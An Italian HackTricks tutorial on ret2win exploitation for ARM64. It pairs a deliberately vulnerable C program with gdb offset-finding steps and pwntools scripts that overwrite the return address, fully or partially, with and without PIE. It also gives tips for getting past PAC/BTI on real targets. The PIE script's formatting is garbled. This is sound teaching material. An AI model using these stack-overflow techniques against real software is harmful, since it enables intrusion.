Ret2win - arm64

Tip

Impara e pratica il hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica il hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Impara e pratica il hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Supporta HackTricks

Trova un’introduzione all’arm64 in:

Introduction to ARM64v8

Codice

#include <stdio.h>
#include <unistd.h>

void win() {
printf("Congratulations!\n");
}

void vulnerable_function() {
char buffer[64];
read(STDIN_FILENO, buffer, 256); // <-- bof vulnerability
}

int main() {
vulnerable_function();
return 0;
}

Compilare senza pie e canary:

clang -o ret2win ret2win.c -fno-stack-protector -Wno-format-security -no-pie -mbranch-protection=none
  • Il flag aggiuntivo -mbranch-protection=none disabilita AArch64 Branch Protection (PAC/BTI). Se la tua toolchain abilita PAC o BTI per default, questo mantiene il laboratorio riproducibile. Per verificare se un binario compilato usa PAC/BTI puoi:
  • Cerca le proprietĂ  GNU per AArch64:
  • readelf --notes -W ret2win | grep -E 'AARCH64_FEATURE_1_(BTI|PAC)'
  • Ispeziona prologhi/epiloghi per paciasp/autiasp (PAC) o per landing pad bti c (BTI):
  • objdump -d ret2win | head -n 40

Fatti rapidi sulla convenzione di chiamata AArch64

  • Il link register è x30 (alias lr), e le funzioni tipicamente salvano x29/x30 con stp x29, x30, [sp, #-16]! e li ripristinano con ldp x29, x30, [sp], #16; ret.
  • Questo significa che l’indirizzo di ritorno salvato si trova a sp+8 relativo alla base del frame. Con un char buffer[64] posizionato sotto, la distanza tipica per sovrascrivere il saved x30 è 64 (buffer) + 8 (x29 salvato) = 72 byte — esattamente quello che troveremo piĂš avanti.
  • Lo stack pointer deve rimanere allineato a 16 byte ai confini di funzione. Se costruisci ROP chains successivamente per scenari piĂš complessi, mantieni l’allineamento dello SP oppure potresti andare in crash sugli epiloghi di funzione.

Trovare l’offset

Opzione pattern

Questo esempio è stato creato usando GEF:

Avvia gdb con gef, crea il pattern e usalo:

gdb -q ./ret2win
pattern create 200
run

arm64 tenterà di tornare all’indirizzo nel registro x30 (che è stato compromesso), possiamo usare questo per trovare il pattern offset:

pattern search $x30

L’offset è 72 (9x48).

Opzione offset dello stack

Inizia ottenendo l’indirizzo dello stack dove è memorizzato il registro pc:

gdb -q ./ret2win
b *vulnerable_function + 0xc
run
info frame

Ora imposta un breakpoint dopo la read() e usa continue fino a quando la read() viene eseguita, quindi imposta un pattern come 13371337:

b *vulnerable_function+28
c

Trova dove questo pattern è memorizzato in memoria:

Quindi: 0xfffffffff148 - 0xfffffffff100 = 0x48 = 72

No PIE

Normale

Ottieni l’indirizzo della funzione win:

objdump -d ret2win | grep win
ret2win:     file format elf64-littleaarch64
00000000004006c4 <win>:

Exploit:

from pwn import *

# Configuration
binary_name = './ret2win'
p = process(binary_name)
# Optional but nice for AArch64
context.arch = 'aarch64'

# Prepare the payload
offset = 72
ret2win_addr = p64(0x00000000004006c4)
payload = b'A' * offset + ret2win_addr

# Send the payload
p.send(payload)

# Check response
print(p.recvline())
p.close()

Off-by-1

In realtĂ  sarĂ  piĂš come un off-by-2 nel PC memorizzato nello stack. Invece di sovrascrivere tutto il return address andremo a sovrascrivere solo gli ultimi 2 byte con 0x06c4.

from pwn import *

# Configuration
binary_name = './ret2win'
p = process(binary_name)

# Prepare the payload
offset = 72
ret2win_addr = p16(0x06c4)
payload = b'A' * offset + ret2win_addr

# Send the payload
p.send(payload)

# Check response
print(p.recvline())
p.close()

Puoi trovare un altro esempio di off-by-one in ARM64 in https://8ksec.io/arm64-reversing-and-exploitation-part-9-exploiting-an-off-by-one-overflow-vulnerability/, che è un vero off-by-one in una vulnerabilità fittizia.

Con PIE

Tip

Compila il binario senza l’argomento -no-pie

Off-by-2

Senza un leak non conosciamo l’indirizzo esatto della win function, ma possiamo conoscere l’offset della funzione rispetto al binario e, sapendo che l’indirizzo di ritorno che stiamo sovrascrivendo punta già a un indirizzo vicino, è possibile effettuare un leak dell’offset verso la win function (0x7d4) in questo caso e usare semplicemente quell’offset:

```python from pwn import *

Configuration

binary_name = ‘./ret2win’ p = process(binary_name)

Prepare the payload

offset = 72 ret2win_addr = p16(0x07d4) payload = b’A’ * offset + ret2win_addr

Send the payload

p.send(payload)

Check response

print(p.recvline()) p.close()

### Note sull'hardening AArch64 moderno (PAC/BTI) e ret2win

- Se il binario è compilato con AArch64 Branch Protection, potresti vedere `paciasp`/`autiasp` o `bti c` emessi nei prologhi/epiloghi delle funzioni. In tal caso:
- Il ritorno verso un indirizzo che non è un BTI landing pad valido può causare un `SIGILL`. È preferibile mirare all'esatta entry della funzione che contiene `bti c`.
- Se PAC è abilitato per i ritorni, semplici sovrascritture dell'indirizzo di ritorno possono fallire perchÊ l'epilogo autentica `x30`. Per scenari di apprendimento, ricompila con `-mbranch-protection=none` (mostrato sopra). Quando attacchi bersagli reali, preferisci hijack non basati su return (ad es., sovrascritture di function pointer) o costruisci ROP che non esegua mai una coppia `autiasp`/`ret` che autentichi il tuo LR contraffatto.
- Per verificare rapidamente le caratteristiche:
- `readelf --notes -W ./ret2win` e cerca le note `AARCH64_FEATURE_1_BTI` / `AARCH64_FEATURE_1_PAC`.
- `objdump -d ./ret2win | head -n 40` e cerca `bti c`, `paciasp`, `autiasp`.

### Esecuzione su host non‑ARM64 (consiglio rapido qemu‑user)

Se sei su x86_64 ma vuoi esercitarti con AArch64:
```bash
# Install qemu-user and AArch64 libs (Debian/Ubuntu)
sudo apt-get install qemu-user qemu-user-static libc6-arm64-cross

# Run the binary with the AArch64 loader environment
qemu-aarch64 -L /usr/aarch64-linux-gnu ./ret2win

# Debug with GDB (qemu-user gdbstub)
qemu-aarch64 -g 1234 -L /usr/aarch64-linux-gnu ./ret2win &
# In another terminal
gdb-multiarch ./ret2win -ex 'target remote :1234'

Pagine correlate di HackTricks

Ret2syscall - ARM64

Ret2lib + Printf leak - arm64

Riferimenti

  • Abilitare PAC e BTI su AArch64 per Linux (Arm Community, Nov 2024). https://community.arm.com/arm-community-blogs/b/operating-systems-blog/posts/enabling-pac-and-bti-on-aarch64-for-linux
  • Standard delle chiamate di procedura per l’architettura Arm a 64 bit (AAPCS64). https://github.com/ARM-software/abi-aa/blob/main/aapcs64/aapcs64.rst

Tip

Impara e pratica il hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica il hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Impara e pratica il hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Supporta HackTricks